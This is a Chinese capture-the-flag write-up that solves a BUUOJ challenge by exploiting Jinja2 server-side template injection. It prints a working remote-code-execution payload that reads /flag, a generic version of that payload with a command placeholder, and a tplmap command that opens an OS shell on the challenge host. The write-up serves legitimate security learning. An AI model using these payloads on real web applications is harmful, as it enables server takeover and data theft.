[BUUOJ記錄] [BJDCTF 2nd]fake google


本題考查python jinjia2的ssti,其實tplmap直接梭哈都可以

隨便輸入一個值,查看源代碼就能看到一個Hint:

 

 

用下面的流程圖測試一下,看看是什么模板引擎:

 

 

 用Payload測試之后發現是jinjia2的模板引擎,然后構造jinjia2 ssti的命令執行payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}

得到Flag:

這里用的到Payload是一個Jinjia2模板引擎通用的RCE Payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}

在<command>添加命令即可。

關於Jinjia2的SSTI可以看看以下文章:

https://blog.csdn.net/qq_40827990/article/details/82940894

https://blog.csdn.net/zz_Caleb/article/details/96480967

 

 

除此之外第二種更簡單的解法就是用tplmap工具直接GetShell。

Tplmap是一個python工具,可以通過使用沙箱轉義技術找到代碼注入和服務器端模板注入(SSTI)漏洞。該工具能夠在許多模板引擎中利用SSTI來訪問目標文件或操作系統。一些受支持的模板引擎包括PHP(代碼評估),Ruby(代碼評估),JaveScript(代碼評估),Python(代碼評估),ERB,Jinja2和Tornado。該工具可以執行對這些模板引擎的盲注入,並具有執行遠程命令的能力。

tplmap工具的介紹以及使用可以參考: https://host.zzidc.com/xnkj/1676.html

安裝配置好之后直接執行:

python tplmap.py -u http://078120db-2672-4fc5-b3a9-87e76e4d9773.node3.buuoj.cn/qaq?name= --os-shell

得到Shell,同時也可以看到tplmap測試得出了引擎是jinjia2

然后cat /flag也可以得到Flag:

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM